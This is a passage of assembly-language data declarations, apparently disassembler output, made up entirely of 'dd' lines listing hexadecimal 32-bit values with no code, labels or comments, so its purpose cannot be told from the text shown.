		dd 3EA9DBD4h, 0E0D15479h, 0FAF54B81h, 26310544h, 5BFBCFAFh
		dd 0BE4BF89Bh, 70B2089Ch, 0E9D30CDAh, 0EB41339Ah, 3DB2FE9Dh
		dd 4F8137A7h, 7EAC1h, 4FF4D4B6h, 0AB21130Fh, 9DF8CB1h
		dd 0E8305B3Ch, 940884D9h, 89B7032Bh, 2CA10B2h, 5A57DA58h
		dd 45D610B8h, 92F71F4Ah, 3E8BB7EAh, 42571752h, 9DD8A9E4h
		dd 3A5BB341h
		dd 0E9D77DACh, 0A868C299h, 79E90145h, 0E8CF8007h, 8102502h
		dd 556D03DBh, 60401E68h, 1D715D82h, 8F4F94Bh, 0C192E461h
		dd 52D155BAh, 3B153D5Eh, 0A0879B25h, 0E0E282E4h, 1D06522Ch
		dd 5A3AC129h, 30D2F74Ah, 83FFA452h, 7768D927h, 0FC11005h
		dd 0D84A6443h, 0B976C3A8h, 13E9C1EAh, 0DE5543ABh, 5160EF82h
		dd 83827842h, 2BC7BC4h,	77D0CD23h, 3440443Fh, 84052C17h
		dd 6070685Bh, 520B55F3h, 0DFDC4Dh, 0E3107EFh, 4E74B03Ch
		dd 0E3CDC0EAh, 0F661CFE9h, 2AFB2D56h, 0F92F3FD5h, 0A3C273Ah
		dd 7402C5A3h, 6817D720h, 0E55EF26h, 0E9B7FC99h,	21291E0Bh
		dd 45092FFDh, 0CDFAA5EBh, 5436CB3h, 1A184D9Bh, 3F492AC0h
		dd 0CD4C4877h, 67F57B3Fh, 0E0D30C32h, 0E8299B54h, 4015E1A0h
		dd 38E3D5CCh, 9047FE41h, 0E5CD0723h, 603E9622h,	2E3C37EDh
		dd 8538504Ch, 30947F5Ah, 0CE4B56FFh, 6AE604B5h,	0BBBC281Fh
		dd 0FA7E6E12h, 8BB5D177h, 0EF4E59ECh, 45FDF78h,	0E955D829h
		dd 0FACF942Fh, 35A7DEE8h, 7F3999E7h, 5580B21Fh,	0E1810F40h
		dd 9030041Ch, 0FD0DE945h, 43DF51C1h, 0AFCCB803h, 0BED257B9h
		dd 29C4F8F2h, 4854ECC2h, 86BE9382h, 4A254A20h, 73F1DC84h
		dd 45F506F1h, 6AD601FDh, 7B245217h, 7D0ACDA4h, 0B77FFD5Fh
		dd 6368121Bh, 0E90BE5F3h, 0E87A6526h, 29ADF654h, 0B9595F98h
		dd 57BA25F2h, 0A7E88D0Bh, 7F1AAAC3h, 42124B87h,	408096Fh
		dd 31BF8028h, 0E21265h,	12CAFE5Bh, 0F876B450h, 0F1CC03A2h
		dd 0B102E4C0h, 0F4E4FFECh, 0E2282C03h, 254710B2h, 0C1E1572Dh
		dd 7DE66B5Ah, 2E38FC8Eh, 0E19DDBBAh, 81283161h,	36CAC62Fh
		dd 4A0B9300h, 12456A3h,	99002CD6h, 5665B24h, 48250472h
		dd 0D3A9E9F0h, 97B15147h, 940CBD3Ah, 1986F450h,	8D1DEE83h
		dd 0EED0173Ah, 0BC76A061h, 9F09AB05h, 31DC222Fh, 32CBD5C8h
		dd 3F0884D9h, 780AD492h, 0D63127D7h, 0B97528A7h, 7B426771h
		dd 697C0B56h, 0A5685D02h, 8019797Ah, 28190B0Eh,	6C58CC05h
		dd 0C8010AB0h, 591F072Dh, 5016A441h, 1AA02974h,	1E40EB07h
		dd 9D3E6859h, 92611955h, 19381C3Eh, 548AB4F8h, 2B99BBE9h
		dd 9FD46139h, 0E2299C0Eh, 0D4B4E9E4h, 56A8AB11h, 0D57E5907h
		dd 0E3216F4Bh, 31664D32h, 40DFD4Ah, 7AE1B9EEh, 80B5D054h
		dd 536DF607h, 0EB60D6B3h, 48B25209h, 0C0092C1Eh, 0C60508E2h
		dd 4092CAE6h, 0D982F4B3h, 0F886A00Ah, 0A0295FC6h, 37601443h
		dd 0AEE3811Bh, 2E853B3Eh, 1D73F302h, 90C00675h,	80EFE5E9h
		dd 5BFD2862h, 3201ED80h, 0D40ADDF6h, 0D995D6CCh, 11C26281h
		dd 0E5C4A2F7h, 0E700C10h, 3C023412h, 3231A603h,	52C2C422h
		dd 769ED87Dh, 4F54595Eh, 4501FB5Fh, 14271F90h, 0A7FC1C7Fh
		dd 9A40B57Eh, 9C0967Fh,	64E9F389h, 4F355E60h, 550B1C13h
		dd 36804984h, 9770F2BBh, 0AD709E62h, 480D6812h,	69800037h
		dd 4E2F8472h, 8F82F85Fh, 7EE7A0C7h, 0C782A1E9h,	125AF6C7h
		dd 2FD2C44h, 7DB90B18h,	29694C73h, 3D675D89h, 563A302Dh
		dd 8D23581Ah, 16B9E604h, 6B04EE57h, 0FF81EDF2h,	0FE7A0E9h
		dd 56ACC58Bh, 0BA526363h, 44E742E7h, 0CE77687Fh, 412EE00Eh
		dd 31E03A21h, 16B12D5Ch, 0E80F3F52h, 4150DA2Dh,	0F4ACE93Ch
		dd 0EEF5E735h, 0EACF32B9h, 63B8DC13h, 0BB42509h, 97FB1855h
		dd 35588074h, 202745FCh, 56C05D3Dh, 95B7EDEBh, 0CB69A722h
		dd 6BE635B7h, 9D92D9F2h, 0F78330EBh, 8C5539Dh, 6804EF45h
		dd 12B36A1Ah, 3E0EBD00h, 0BB53757Dh, 0E90D1261h, 0A18306C7h
		dd 8E2B6EEDh, 0A0CD01C1h, 594A086Ah, 1A3FD129h,	22773AE1h
		dd 793D7A10h, 52C445F3h, 0E6F80C80h, 1B08106h, 2009205Ch
		dd 0B1DD9759h, 85F7BC83h, 0D676F3FBh, 7F586222h, 0A98966D9h
		dd 527C7629h, 0A187765Fh, 86E98634h, 2E097317h,	0B20DAC42h
		dd 0E3C4D7F0h, 2B773C0Fh, 7EB2457h, 3A353380h, 0E4725FC7h
		dd 0FA4A5472h, 7F46CDEEh, 0EB047385h, 0A2AA61C1h, 5F784CCEh
		dd 0D1BB1712h, 2B2FB965h, 5758B022h, 599D0464h,	2ECB0B05h
		dd 0F108502Eh, 5CB50F2Ah, 9DCC8D22h, 0EB3B47h, 152A1350h
		dd 780E2D39h, 200D9311h, 70C1498Eh, 0E8162DE9h,	0BB947773h
		dd 0D899C990h, 195BB750h, 429A539Fh, 36E0DDC5h,	68B7C115h
		dd 80CC0B93h, 68045752h, 37B40F86h, 230405BAh, 48BA227h
		dd 0AD6A4B63h, 0D1BF8885h, 0ADE9290Ah, 0B85E0002h, 21649B3h
		dd 0D23EBD79h, 55419A1Bh, 15D6DC87h, 58C96E98h,	251CDE5Dh
		dd 1BC22BDCh, 0C8F0A22Ah, 65B0F705h, 62046788h,	9721E978h
		dd 0CFBE8CBBh, 8E5ECEF4h, 0F45A5149h, 0EEC0852Dh, 4681EB08h
		dd 0B4FB3046h, 0C539F281h, 840FAC05h, 4A09C209h, 0BE7B9BD7h
		dd 7691177Ah, 0BA6E1302h, 8B909BC0h, 1AD64947h,	8334E90Bh
		dd 0F8F02544h, 0A9B41F5Ah, 961E0050h, 0B6CA810Fh, 20635904h
		dd 0AAE10E44h, 0FF89F7D0h, 2DB0F5E6h, 2E4D74B5h, 0EE9617Bh
		dd 0C5887FC6h, 4B0B07C1h, 998B6083h, 28B0C877h,	7C2D8007h
		dd 2540481Fh, 8CBFC6D3h, 1E4AD770h, 0BD702DFFh,	53609385h
		dd 129E20F8h, 0B076818Fh, 7EC6C13Fh, 47C8B821h,	3DC43F38h
		dd 58FE8B79h, 0F0390B4Eh, 200A0FEh, 397C8666h, 0E16BF35h
		dd 3C94BE1Ch, 6A1BA109h, 0FA0F4C18h, 2306B5D4h,	9C9FF35Fh
		dd 0F6FBB7FAh, 0F4B37EB3h, 0FE3E7D0h, 0B69B547Ch, 74F302FCh
		dd 679DE9DFh, 351C985Dh, 0F5818003h, 80F3072h, 0A4EA01CDh
		dd 7890198Dh, 3F14554h,	5A53055Ch, 43FAEE09h, 31315E58h
		dd 2E67ADDh, 0C159DC26h, 4171277Ch, 5F515956h, 0E253AD2Ah
		dd 0F90B5545h, 975846FEh, 55FE9F68h, 34641351h,	0B37A4FEFh
		dd 49280611h, 3746585h,	1A461692h, 8707FE29h, 0E517DFDh
		dd 0EF85F797h, 12460814h, 0E7FBFFF6h, 5816167Fh, 78C38DE3h
		dd 1D05FEF7h, 0D2EE456Fh, 0BA4217EFh, 9C69F441h, 30797F04h
		dd 8B12CA4Ch, 6939AA34h, 0EB61386Eh, 8968429Eh,	5C052810h
		dd 0BC20478Fh, 4A30B2DBh, 0B65955FBh, 2DE3E9C1h, 5A11964h
		dd 1ED025Ch, 0EA20FECAh, 0F1CE085Bh, 397AF9C9h,	481A300Eh
		dd 0C329FD28h, 0B382E46h, 41B1D10h, 1530227h, 56536287h
		dd 0F743FA10h, 0C227C3D0h, 0C90C9BF2h, 4F3922E8h, 5B29D60Eh
		dd 7261DD5Eh, 9245D3C7h, 7FCD0BAFh, 74D95B8Bh, 77857709h
		dd 0B487C04Eh, 6E5C689Dh, 61147F2Fh, 0C9E933C2h, 83775EF1h
		dd 744F2215h, 0FCDE50DAh, 0BC9EDF27h, 98A277Fh,	8017008Fh
		dd 51710328h, 0AE6805BFh, 31CF1C73h, 0FF09B4F9h, 0EF218C2Dh
		dd 51B607FAh, 84E0F680h, 0F588C806h, 69B3E0C2h,	54A7314Ch
		dd 5727ABF6h, 523A79C5h, 360F8473h, 51E723BEh, 821022C9h
		dd 6C68E323h, 4AC77536h, 25267625h, 743003CDh, 49A6E952h
		dd 5518DF5Dh, 7C95D503h, 0AF01CD83h, 26A97819h,	701B693h
		dd 4187EA99h, 2B47E9D9h, 6E077216h, 570918ABh, 23C961D9h
		dd 170147E0h, 0A3AD4965h, 0DC8D9FD1h, 13E1C6Ch,	0FEC4E5ABh
		dd 2DF12B93h, 60FBF92Bh, 0DD395E9Ch, 0EA4B4B23h, 6049E001h
		dd 0C5302524h, 416F1FA7h, 10E9C903h, 569FC1F8h,	91DDDA7Fh
		dd 63D2B84h, 5BA26810h,	5FBAC8B0h, 0E6FCB812h, 0EE9E9DA1h
		dd 0A1DD409Dh, 895D8165h, 0FF75995Ah, 96A463E4h, 0FA211E2Dh
		dd 0D0A5554Dh, 3E25396Bh, 43B56BBh, 0E43392C4h,	7F0B0F82h
		dd 740374Bh, 0D537957Bh, 0F5840A3Bh, 21849316h,	0EA848AFCh
		dd 29AF1636h, 0F2CD6AD7h
		dd 17111E87h, 0E681B022h, 0B20905C3h, 5C4CE976h, 38952F48h
		dd 0D9FFE904h, 17FCE2FAh, 1AD4FEAh, 79F61B1h, 40BEC9DEh
		dd 3893BA7Dh, 924FB688h, 5355E8BFh, 57BC936h, 5ACC5CA7h
		dd 1BB9CE7Dh, 89774F68h, 0C4D579D7h, 0AFD081EBh, 0E068407Fh
		dd 6B6A6857h, 2B0AE193h, 0DA49AC31h, 0F567BD67h, 26A05D16h
		dd 3D332472h, 0D9670224h, 59C4FE8Dh, 0A605D802h, 5A3BC14Bh
		dd 8012FE05h, 3D134EBBh, 94EF78A1h, 4950C755h, 0F74EB8CEh
		dd 683ACCBAh, 662C339Ch, 6A4A53Bh, 0AB255B7h, 7CDF0AD9h
		dd 3A9C06F6h, 0A120F42Dh, 0F5C19F5Eh, 0F5FE3BDh, 32B16401h
		dd 0C8DB195Eh, 4BA20E9Eh, 0C0431FD3h, 8528D5EAh, 0B9055113h
		dd 8BDEB36Bh, 35152EAh,	53FA693Dh, 0D3EA23AAh, 31038257h
		dd 506EC22Fh, 0E9078016h, 12AB9EE7h, 1021209h, 7658FB09h
		dd 0DA6BF933h, 7630BCC5h, 6AF245EEh, 0EAF703Fh,	0F1C06D97h
		dd 46433B3Dh, 0D370F8C1h, 0C46F9419h, 0C2A794C8h, 91479E5h
		dd 8F66C331h, 0EA3A1002h, 0CE83887Fh, 0A447D725h, 1506E904h
		dd 83B460FEh, 0BD7E65A9h, 0D39F377Fh, 25BAA032h, 4D93771Bh
		dd 1485A438h, 6CE3891h,	379D27CDh, 5C8B068h, 5DE93A3Bh
		dd 0D8ED4E32h, 3B492EEBh, 0F4A57FEAh, 85ED3465h, 0CCF5299Dh
		dd 0E80FB3E2h, 9E8BCBDEh, 2478FB33h, 0CBE41D32h, 0BA874323h
		dd 25C0D01Dh, 23D7F9E9h, 0FFCFAD31h, 91C28000h,	5A4A7CF0h
		dd 0CE008FCAh, 31425EAAh, 0A39CD5E9h, 55E5200Bh, 0F5071546h
		dd 0AEB65255h, 0CD20EE63h, 0E6D08CC0h, 0BFC658FEh, 81F0E07Ah
		dd 0F7AD7491h, 8C99D24Fh, 12998E64h, 0BF30B826h, 84F3B0Ch
		dd 0B9475F05h, 0C0097BE0h, 0FE57DAA5h, 0D70909AEh, 1850428Fh
		dd 307038B6h, 3FCE75FEh, 0C5930DC6h, 1CAE4BEFh,	77E91CFEh
		dd 94B6F53h, 91927016h,	155FEBF6h, 42E9095Fh, 7725D27Eh
		dd 1256DB4h, 0E9005454h, 56D63D00h, 7E801FF9h, 134D0B6Eh
		dd 167032E9h, 2226BF06h, 0BC41EBDh, 1D5E3106h, 0E502837Fh
		dd 0C5D32402h, 130629D0h, 9A54FA58h, 10A39415h,	8912E2F3h
		dd 0ED901E7h, 0F46DE650h, 782F574h, 6E85F1EFh, 9E536894h
		dd 62BE2ABEh, 0DE2ADF5Eh, 486BEF57h, 8509B7C2h,	8925FB57h
		dd 597DEF64h, 91236906h, 3E40F61Dh, 2526E493h, 0F2011F4Ch
		dd 42F066D1h, 0C203312Ch, 7B8839ECh, 2B5ACAF0h,	1858FE30h
		dd 4B3D7F0Dh, 1056EF76h, 994650EEh, 0AD100558h,	78502697h
		dd 84124AA7h, 0EA12EDC7h, 3279DE02h, 4A9686C8h,	0A0C780A5h
		dd 3DC12F6Ah, 8DC27EA0h, 0B5CE2C0h, 405A133Bh, 36EE3A17h
		dd 294A58B7h, 0B9F26E2h, 0CC900B2Ah, 5B123573h,	19752982h
		dd 0F7FC82h, 555DE181h,	9601AF3Dh, 8BEB22DEh, 89307E2Ch
		dd 7E680A2Bh, 2FDB3D0Ah, 0E2110312h, 92503C0Ch,	22BB35A0h
		dd 6EF53F63h, 0E3C9F678h, 23C7A181h, 60354A7Eh,	0E6126035h
		dd 40F16558h, 6F12992Eh, 338C72C0h, 0B04571C1h,	0B8AB4073h
		dd 5E0B7795h, 840B9C7Ch, 0DFC9B20Ah, 0C83A584Dh, 66E9B0CCh
		dd 7B669519h, 0BF6611F2h, 76D25A52h, 0B66BEF64h, 0AFA8596h
		dd 0FB625CCBh, 1C6716Eh, 0C8B70F04h, 6BEC8A68h,	75AD0CDEh
		dd 0AFAA0A4Dh, 60F86061h, 7116A119h, 13014A16h,	0DA48F0D6h
		dd 3E504264h, 679D6855h, 70A4EE15h, 1212E2CDh, 60016323h
		dd 9CC88816h, 29E9C07Fh, 580D96F0h, 702E6C1h, 2D2F6B30h
		dd 9778274Ah, 954950B5h, 0E9708974h, 40785BEAh,	2FCCE707h
		dd 2AB84ADBh, 2CF697h, 84B0B7Dh, 0D4B7F901h, 0F76658A0h
		dd 60B3E95Ah, 0EA6AE92h, 4CF7A24Fh, 0E72E306Fh,	0BC446F3h
		dd 0DF897ABAh, 6900ADF8h, 312EB319h, 5E8FE9CFh,	0C961AC3Bh
		dd 350EA04Ah, 7A688988h, 6BDB6B11h, 0F3800248h,	6FBCD55Ah
		dd 0F94F697h, 0D608E8C1h, 85E90DD1h, 0F2C4172Ah, 0EB80C0ABh
		dd 27C3287Fh, 0FB985352h, 0E912DCB5h, 1335948Eh, 242B9ABFh
		dd 7C713255h, 0B8FD132Bh, 0BE0329C2h, 3E259403h, 9117B4Eh
		dd 2053802Ch, 0C0580F57h, 48B371F0h, 58EE7E0Dh,	0BD748449h
		dd 2D4F0A46h, 12D709D6h, 0EBA316E9h, 0C2ABA3E4h, 53EE688Dh
		dd 2B89A079h, 655DB00Ah, 8840825Ch, 9D0D39F2h, 8A315F66h
		dd 13558818h, 0BB17BCE9h, 0C1480F32h, 3E72D533h, 0ED5F2D80h
		dd 0D897FA89h, 0E67A30CAh, 0C38F725h, 39518E26h, 0C50F5300h
		dd 641FE9FCh, 0FAD1BFC3h, 85BE201Ah, 0A217B0F3h, 124869B7h
		dd 0F30C70C4h, 2A5003D0h, 95B6Dh, 6A3540C2h, 0E9AC75D2h
		dd 66393F32h, 0B8204029h, 0F55281F2h, 8381A0D0h, 73610309h
		dd 77BC892Fh, 0E9E12871h, 4FA5DDD2h, 75958058h,	2A0C810Dh
		dd 0C08D14EAh, 64769F7Fh, 8FC8E027h, 0E132B64Dh, 34577F68h
		dd 0D2653235h, 2CBECD59h, 7BF6E951h, 563122CBh,	81264A76h
		dd 0E50B61C7h, 2C342021h, 62E160Bh, 0CCED2757h,	0F0A9CF87h
		dd 5F0782DDh, 73F91560h, 552CD027h, 4315F944h, 28D31E9h
		dd 4E55C6B8h, 100D759h,	451E7135h, 2507B690h, 21C599FAh
		dd 0A0FA58E5h, 1704B444h, 0CE29B272h, 8DB1BCBCh, 0B35A8ED1h
		dd 4355E9BAh, 7BE7D32Eh, 0F43F00C8h, 311B0594h,	0E92A1474h
		dd 0DCC0F626h, 772E24F0h, 2A4D9047h, 4E60738h, 2B1030BAh
		dd 29BCEA76h, 9A314050h, 0DDDF4C55h, 2416AF4Eh,	4FA6B5B0h
		dd 1328CA32h, 25BE3E0Eh, 830DFC31h, 5B36C968h, 524B9725h
		dd 5341E3E4h, 0E6E52ABBh, 6BF2A43Bh, 0F533645Fh, 0F2178D17h
		dd 3805D7BEh, 41691002h, 0CA2FF11h, 9EF9571Ch, 0F28BCA9Eh
		dd 5B7449Ah, 584BC668h,	0EFE1002Ah, 124F66F3h, 340E4760h
		dd 0C1180842h, 0CB76BD0Ch, 613035F4h, 7BE06515h, 0F0CBD7ACh
		dd 59131BF4h, 0BFD68FADh, 31842120h, 563660AEh,	4B486E98h
		dd 17056399h, 0D4069A3Dh, 7D4AB1FCh, 817695F6h,	0FF59660Bh
		dd 7DB01D96h, 0B033C058h, 3980AFB1h, 0E99CB4C1h, 59C802CAh
		dd 0D15DDE68h, 11B207F8h, 51E2F080h, 32CF25B1h,	59EA2353h
		dd 0C2E7E728h, 5C3F1659h, 587FE530h, 0EA7356C5h, 0F858EAEDh
		dd 18ECFCE5h, 2A3536E9h, 47141BBDh, 2CDB27A8h, 6AC257BBh
		dd 0ED6BFC0Dh, 81DFF86Dh, 205EA7A9h, 0FE0FC9B8h, 0C968A950h
		dd 0E7796396h, 56662572h, 0D8D869C9h, 563B522Dh, 16DE257Ch
		dd 1FB47D25h, 72CCE92Fh, 30F6B720h, 0CBFB0158h,	0D6D359B6h
		dd 2E685002h, 0C9C1D110h, 6E1D1B10h, 5837DD1Fh,	665BA9CBh
		dd 30307191h, 98E02375h, 1276D764h, 1AA5F102h, 8429042Ah
		dd 0A0FE5FDBh, 0B0B5D157h, 55DF68A6h, 0BB2F290Eh, 6B7AD728h
		dd 0BFDA100Fh, 0BEEA5E01h, 5BDE0969h, 774EF02Fh, 2174B114h
		dd 0F289139Dh, 4B591DFFh, 0E455BDDh, 661BB28h, 99E90506h
		dd 1D611775h, 723FB07Eh, 4E6071B4h, 0B6510673h,	0A3F3008Ah
		dd 43546108h, 75870EDFh, 9EDC0ED2h, 4F18300Fh, 778C870Ch
		dd 0F6E9820Eh, 0DDBB1702h, 0D7746AC9h, 9D3B0EC1h, 85BC2803h
		dd 0A402047Ch, 0EF011EF3h, 66DFF601h, 0A6615A61h, 840CEC7Fh
		dd 5099BFEh, 4F22525Fh,	1EA214D1h, 0C2622107h, 5AE66030h
		dd 355C3854h, 368A362Ch, 90E17382h, 0FD274B50h,	1F0AC4C6h
		dd 0C47064BEh, 0ABC7946Bh, 0F2A70BECh, 0DBDE017Eh, 0E5308147h
		dd 957CA360h, 0D5EA9077h, 809392F6h, 2534E4A6h,	99504738h
		dd 15E3C0Bh, 9A5A54h, 9E62B2F6h, 0E4ECE96Bh, 5FEFD8D3h
		dd 2DD0D0BFh, 0E7C8E35Bh, 8B135CA2h, 31A95D50h,	6C59C8A0h
		dd 0A8953C88h, 0C3408CFh
		dd 6C98A1EAh, 0F998B10Fh, 7B35C92Ah, 0C7403DF9h, 303F40E6h
		dd 0F06FC672h, 5DA26508h, 0CB12B2BDh, 0F2E6FA65h, 0AE58E983h
		dd 2F972376h, 0F0DA6419h, 847029ABh, 0BD555106h, 0C8070DA5h
		dd 0F6269B19h, 5B03091Eh, 0EAFD40F7h, 10B07E7Bh, 1785854h
		dd 5A4619C3h, 423E475Fh, 0C4657A2Ch, 2DC71FC0h,	0A0BB302h
		dd 77C666E9h, 0D5273D6Fh, 0EB2406E6h, 0D30B7D9h, 12B31874h
		dd 10CB0145h, 570008E4h, 2EFB6856h, 0F99D3626h,	0F022C70Ah
		dd 0F7893565h, 205B5E48h, 155952C3h, 715C0525h,	550204ACh
		dd 11737Fh, 9144E904h, 762D34C9h, 559871Ch, 4F6582A9h
		dd 533702F7h, 0FA0E0E95h, 0F12E18FFh, 0C002B9EAh, 0D129B78Ch
		dd 42C4FC5Ah, 73D77556h, 150A9AD7h, 278F488Ah, 7EE986DBh
		dd 5C955488h, 0C2E9441Ah, 7957FE04h, 0F1156489h, 2FC9391Ch
		dd 0A4895FBAh, 6D2604h,	0BB3908BFh, 851C947Ah, 85B4488Ah
		dd 22000176h, 4142020Fh, 0CDF02EA4h, 0BE812EE6h, 4289C40Dh
		dd 0C404DEF7h, 0FC510BFAh, 1A975CCFh, 2AE40234h, 92BBFD1Ch
		dd 30B3EB4Eh, 0E233A492h, 0D63EA1Eh, 37E9C742h,	81715466h
		dd 0DD2FCAEFh, 1D6821Eh, 0DD26F962h, 2EBF9490h,	28D30C1Eh
		dd 0D4FAD889h, 3A4A8274h, 65C061E7h, 0A7797934h, 160BE1ECh
		dd 7E292Eh, 0C530846Bh,	433B07Bh, 0DE781FBAh, 3DE4EE01h
		dd 0DBF95DE9h, 0EC7D3127h, 0F125FF5h, 0D5BDF6D3h, 1139C7Fh
		dd 63D4ABD5h, 0E067FDBFh, 0D7C8FEAh, 0F22962FDh, 0FC08051Ch
		dd 14977180h, 69687907h, 26814016h, 33FFA078h, 10E06C9Ch
		dd 0ACF05D68h, 95D1A9Ah, 19E557EBh, 6102BAC0h, 0CB6AEDADh
		dd 0CBED4A69h, 9E25EA8Fh, 23998752h, 8D84B34h, 28BCD301h
		dd 0FB8B0DC8h, 5C79055Fh, 1639A7A4h, 0ED27B269h, 5E084093h
		dd 5E4314Bh, 7A5C015Fh,	0B0B42D07h, 8AFA41D1h, 9CE33FBCh
		dd 8C050394h, 0AA12462Ah, 7605D8C0h, 2DB0921h, 50814F2Dh
		dd 0F2F00128h, 1194078Fh, 0C4F35E3Dh, 0A825E94Bh, 0F8882D03h
		dd 515B247Eh, 0F3A10CDh, 65192DADh, 27F04A17h, 0F5115AF4h
		dd 2FBADCD9h, 51B049BAh, 0A4079E98h, 89B73FDCh,	5E515DF0h
		dd 0A22D4859h, 0F044A832h, 27D60740h, 0CE2AA424h, 0A61E4617h
		dd 8AB37A05h, 0F044F0FFh, 0E8B45E71h, 59066885h, 0C5DEE3F8h
		dd 0A36D5F11h, 0FDFF28D5h, 0C7CB584Bh, 0BC739E17h, 8B7BC439h
		dd 1E64BC12h, 0CF0422Bh, 0C68131Ch, 0DBF74B45h,	72042F12h
		dd 0DA89AE8Eh, 5CF88EFh, 1A6D280Fh, 0DFD44B67h,	0AA41FE9Ah
		dd 8F66022Eh, 0C9B07EFh, 0F465D70Bh, 0E65DEE0Bh, 8F2EC90Eh
		dd 0F39F25F0h, 34E9C245h, 7F69C27Fh, 5E9DEE16h,	0DCEC84BDh
		dd 2DCBF8FEh, 0B9F94167h, 2012AE2Bh, 1FA0F01h, 107C6EC2h
		dd 0C2DF082Ch, 51554C29h, 801620C9h, 8206B375h,	450A417Dh
		dd 8010F0E6h, 0A2047B4h, 775D6858h, 83ECC2C5h, 135B8DDAh
		dd 54B1A5C0h, 8478BF28h, 81403EBCh, 0F3CA3F2h, 0D131CEACh
		dd 8021C4B7h, 0F61DCB03h, 4B9F475Ch, 7F5B6E0Bh,	14B088E5h
		dd 28548D68h, 4B5D774Ch, 0D80D132h, 4FAA1365h, 0BF28461h
		dd 0DD5236C6h, 4FDCCE05h, 0F0C06443h, 7C8975A0h, 8CC60442h
		dd 0BF5C5A26h, 512B4C6h, 0B6F9E2C4h, 2C501h, 0A05A8CF0h
		dd 770B2555h, 0D04F3349h, 6F3AB660h, 1A43E73Eh,	0DBA011F2h
		dd 9A584DBFh, 760E3F5Eh, 0E978625Dh, 0F8D5C55h,	0DE5CEA29h
		dd 0B5908BD0h, 0ADEA3F54h, 25028600h, 4B79E973h, 4BA0F41Dh
		dd 0EDB1E0C2h, 52210FFEh, 3B232860h, 81AE6D4h, 53C4F50Ch
		dd 1CC0959h, 8C47DE68h,	0D72A593Fh, 9DC4408Fh, 0FC92FE03h
		dd 0E9637194h, 667F05FCh, 162D7268h, 194ECF6h, 0E91F02B8h
		dd 893B0163h, 0DEB4E0AFh, 13AB669Fh, 0BB1DA268h, 31E9607Ch
		dd 9EA5AFF3h, 0D955C257h, 0FB856984h, 0D2CCE648h, 0FCD18506h
		dd 16E3F825h, 157DE6Eh,	71C69B1h, 5E18806Ch, 21686AD3h
		dd 0BD15B8CAh, 8EC25726h, 25F79E2Dh, 0B856DDDFh, 1C84D1EFh
		dd 0BD1281DBh, 1FDE7B58h, 8100FA2Ch, 393BBBCDh,	0DD5BF70Ch
		dd 0A89A4B5h, 204EEEDh,	0BFF812F9h, 1A7F502Dh, 0FD224B87h
		dd 0EECE40EBh, 109A0DC6h, 680C3898h, 526B6230h,	431D0944h
		dd 478A3116h, 9B60046Fh, 4ACEEC9Eh, 1201C5FFh, 0DF0BF11h
		dd 0E2E630E9h, 374D68B6h, 0D6F51A9Dh, 3CB84289h, 0C1C28001h
		dd 0B7303A21h, 0EBC3F0D3h, 0AA3E0920h, 0EC03DF86h, 0A2D2DC88h
		dd 96DFE7CAh, 0C8629DFBh, 0C75D02DDh, 63830B14h, 4C5EDA79h
		dd 5ECA7DF6h, 0BE051324h, 186193h, 4DE581CBh, 50172673h
		dd 20453CDFh, 91EA6974h, 3F58C55Fh, 0ED073DF8h,	4E59495Ch
		dd 361689DEh, 0E9016503h, 52DFD637h, 8BEF2997h,	981FE58h
		dd 455D0BAh, 0ACEED62Dh, 7D1AA6BEh, 29D6A3CEh, 4B13592Ah
		dd 0C0A503F5h, 19BFFD2Eh, 86020998h, 764C73Ah, 3BEF110Ah
		dd 0A54E3B0Ah, 30825455h, 6EDC114h, 0D561F7FCh,	5FEECD22h
		dd 50BAB26Bh, 687706E8h, 33A8604Bh, 9AB944A4h, 0C467AE68h
		dd 175B5FA3h, 973BF14h,	61D76C85h, 146B2A8Fh, 7D4832BEh
		dd 30271120h, 9E7FC5D8h, 0EA456F68h, 7F60C409h,	554B1651h
		dd 0E93088A0h, 0C295D975h, 0B3EE7F53h, 591A7D95h, 0D248035Ah
		dd 3B588CC4h, 2768F4F7h, 44E74182h, 32CA3AB5h, 2055A24h
		dd 320D6B1Dh, 0EE1C057Ah, 0AF3CB4BBh, 7C3C5821h, 0D95D81A8h
		dd 0DC53807h, 6C4ED80h,	0A792E888h, 0FEB2AB2Fh,	0DE545A49h
		dd 22468CC2h, 6240A3C3h, 0C29F2936h, 0E90802D1h, 5DC06A97h
		dd 5EC9A6D1h, 0A525AB3h, 0F14ECC25h, 0F29788D2h, 735EF18Eh
		dd 2AE87C04h, 0A5D5EA16h, 0ED3B34C9h, 0BDE9A17Dh, 2990913Ah
		dd 2129D6Fh, 0B733DD65h, 1E4AF95h, 310B4075h, 284A43C6h
		dd 0C1D316B9h, 0CB4700E3h, 310862A0h, 1492E4EDh, 8A32B728h
		dd 0BD96FD02h, 0E6D829D9h, 1C43D208h, 216E8B8Fh, 4D01797Eh
		dd 2953A63Bh, 0C785007Bh, 0E44326Dh, 82015ABDh,	0C39E4108h
		dd 1A16F87Ah, 0FDC335E9h, 372FCA01h, 1B042AF6h,	40BA96B7h
		dd 3A4713E3h, 0EF588974h, 7DF27EFh, 0F8B25C0Eh,	0AF52D564h
		dd 2D5F2978h, 0D2673221h, 81881897h, 49F34E0h, 4BF3E0C7h
		dd 0C137542Bh, 707BE1E1h, 11D6352Ah, 684B7504h,	0D9B825B8h
		dd 7E7AED95h, 0E46B7A5Ch, 7FBB8095h, 25DF700Bh,	5E398943h
		dd 0AA5916B4h, 0C84B689h, 0C13D6D62h, 3F471DB0h, 82B489FCh
		dd 0DDEE3595h, 5907A894h, 0CB65535Fh, 2DFA02BBh, 0C24FF67h
		dd 7AD78106h, 511A5D9Dh, 4E15725Fh, 18C0CBADh, 0C7DB100Dh
		dd 6226BC1Bh, 0B1FD1F06h, 0D3AF76B5h, 0E931A87Dh, 14FEE308h
		dd 375077C3h, 0A1D17D06h, 987A41C1h, 0F18B895Bh, 312B1985h
		dd 9399D3B9h, 408572Ch,	257F27F8h, 93EA29CFh, 7FD072F8h
		dd 719750E4h, 76C325EDh, 7A86888h, 0EBE964A8h, 2BB7A65Bh
		dd 4B88A710h, 4B21BD16h, 0C329BDECh, 0D8DD3B1Ah, 61FB535Fh
		dd 0BB181BE9h, 28BB4B9Fh, 0CA4E018Eh, 62798EAFh, 6EE488Ah
		dd 0E340E50h, 0D0AA8385h, 7CA94FA2h, 5097B975h,	2258BDDBh
		dd 28CA092Bh, 0F3E2A4BEh, 9C351C30h, 25D1797Ch,	5A60F5E9h
		dd 0D8E0B104h, 0BFFEBDA2h, 74D9B025h, 3617025Eh, 39126850h
		dd 7B82A4F1h, 6029D863h, 253BEA00h, 89C81194h, 44172790h
		dd 0C1085518h, 32BA1251h, 5C5DC17Eh, 18F62A7Ah,	0E7FEE079h
